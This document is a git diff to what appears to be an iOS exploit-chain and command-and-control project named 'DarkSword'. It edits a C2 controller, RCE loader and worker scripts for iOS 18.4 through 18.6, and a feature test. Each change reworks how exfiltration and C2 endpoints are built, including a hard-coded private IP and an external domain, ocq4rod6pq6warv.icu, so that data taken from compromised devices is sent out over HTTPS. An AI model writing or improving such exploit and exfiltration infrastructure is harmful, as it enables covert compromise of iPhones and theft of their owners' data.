diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 9cfebd5..322f8c7 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -167,6 +167,10 @@ class DarkSwordC2Controller extends Controller $port = (int) $request->getPort(); $scheme = $request->getScheme(); } + $scheme = strtolower((string) $scheme); + if ($port === 443) { + $scheme = 'https'; + } $base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port); $ios = $this->requestIos($request); [$recommended, $fallbacks] = $this->chainTargetWorkers($ios); @@ -193,7 +197,7 @@ class DarkSwordC2Controller extends Controller 'http_port' => $port, 'https_port' => $port, 'tls' => $scheme === 'https', - 'prefer_https' => false, + 'prefer_https' => $scheme === 'https', 'stats_url' => $base.'/stats', 'stats_url_direct' => $base.'/stats', 'delivery_stats_url' => $base.'/stats', diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js index 4495bc8..d261cd9 100644 --- a/channel-builder-ds/source/boot.js +++ b/channel-builder-ds/source/boot.js @@ -62,6 +62,7 @@ if (ex && ex.host) { var tls = !!(ex.tls || ex.prefer_https); var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); + if (!tls && port === 443) { tls = true; } var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host); if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; return origin; @@ -137,7 +138,7 @@ http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), tls: location.protocol === 'https:', - prefer_https: false, + prefer_https: location.protocol === 'https:', }); api = apiBase(); } diff --git a/channel-builder-ds/source/rce_loader.js b/channel-builder-ds/source/rce_loader.js index 673ed86..0216790 100644 --- a/channel-builder-ds/source/rce_loader.js +++ b/channel-builder-ds/source/rce_loader.js @@ -34,6 +34,7 @@ function labApiBase() { if (ex && ex.host) { var tls = !!(ex.tls || ex.prefer_https); var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); + if (!tls && port === 443) { tls = true; } var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; return origin; @@ -518,8 +519,9 @@ function exfilFields() { // Prefer explicit GitHub-style IP:4001 from /api/ds/chain-targets const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw); - if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) { - const ip = isIp ? hostRaw : '192.168.31.130'; + const labHttp = isIp || Number(t.http_port) === 4001 || Number(t.http_port) === 8080 || Number(t.http_port) === 8000; + if (labHttp && t.tls !== true && t.prefer_https !== true) { + const ip = isIp ? hostRaw : hostRaw; return { exfilHost: ip, exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001, @@ -527,7 +529,7 @@ function exfilFields() { exfilTls: false, exfilFallbackHost: ip, exfilFallbackHttpPort: 8018, - statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':4001/stats'), + statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':' + (t.http_port || 4001) + '/stats'), deviceUUID, }; } diff --git a/channel-builder-ds/source/rce_worker_18.4.js b/channel-builder-ds/source/rce_worker_18.4.js index d70dc20..5833cb1 100644 --- a/channel-builder-ds/source/rce_worker_18.4.js +++ b/channel-builder-ds/source/rce_worker_18.4.js @@ -352,7 +352,15 @@ self[1] = boxed_arr; const slide = data.slide; __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; - try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } + try { + var _tls = !!data.exfilTls; + var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + var _port = Number(_tls ? (data.exfilHttpsPort || 443) : (data.exfilHttpPort || 80)) || (_tls ? 443 : 80); + if (!_tls && _port === 443) { _tls = true; } + var _ep = (_tls ? 'https://' : 'http://') + _h; + if (!((_tls && _port === 443) || (!_tls && _port === 80))) _ep += ':' + _port; + __labC2Host = _ep.replace(/\/$/, ''); + } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } SERVER_LOG = data.SERVER_LOG; if (data._enc_session) { _enc_S = data._enc_session; diff --git a/channel-builder-ds/source/rce_worker_18.5.js b/channel-builder-ds/source/rce_worker_18.5.js index 5ffadf8..9e22b49 100644 --- a/channel-builder-ds/source/rce_worker_18.5.js +++ b/channel-builder-ds/source/rce_worker_18.5.js @@ -80,7 +80,14 @@ function applyExfilFromData(data) { if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0]; if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort); if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); - try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; } + try { + var _tls = !!__exfilTls; + var _port = Number(_tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 80)) || (_tls ? 443 : 80); + if (!_tls && _port === 443) { _tls = true; } + var _h = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + __labExfilUrl = (_tls ? 'https://' : 'http://') + _h; + if (!((_tls && _port === 443) || (!_tls && _port === 80))) __labExfilUrl += ':' + _port; + } catch (_e) { __labExfilUrl = ''; } } function patchExfilPayload(script) { if (!script) return script; diff --git a/channel-builder-ds/source/rce_worker_18.6.js b/channel-builder-ds/source/rce_worker_18.6.js index fc157cd..e27c410 100644 --- a/channel-builder-ds/source/rce_worker_18.6.js +++ b/channel-builder-ds/source/rce_worker_18.6.js @@ -14445,7 +14445,15 @@ async function main() { { __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; - try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } + try { + var _tls = !!data.exfilTls; + var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + var _port = Number(_tls ? (data.exfilHttpsPort || 443) : (data.exfilHttpPort || 80)) || (_tls ? 443 : 80); + if (!_tls && _port === 443) { _tls = true; } + var _ep = (_tls ? 'https://' : 'http://') + _h; + if (!((_tls && _port === 443) || (!_tls && _port === 80))) _ep += ':' + _port; + __labC2Host = _ep.replace(/\/$/, ''); + } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } SERVER_LOG = data.SERVER_LOG; if (data._enc_session) { _enc_S = data._enc_session; diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index 046a8ae..73ebcb5 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -93,7 +93,18 @@ class DarkSwordC2ApiTest extends TestCase ->assertJson([ 'ok' => true, 'chain' => 'darksword', - ]); + ]) + ->assertJsonPath('exfil.prefer_https', false); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu', + 'X-Forwarded-Port' => '443', + ])->getJson('/api/ds/chain-targets?ios=18.5') + ->assertOk() + ->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu') + ->assertJsonPath('exfil.tls', true) + ->assertJsonPath('exfil.prefer_https', true) + ->assertJsonPath('exfil.https_port', 443); $this->get('/api/ds/log?text=lab') ->assertOk()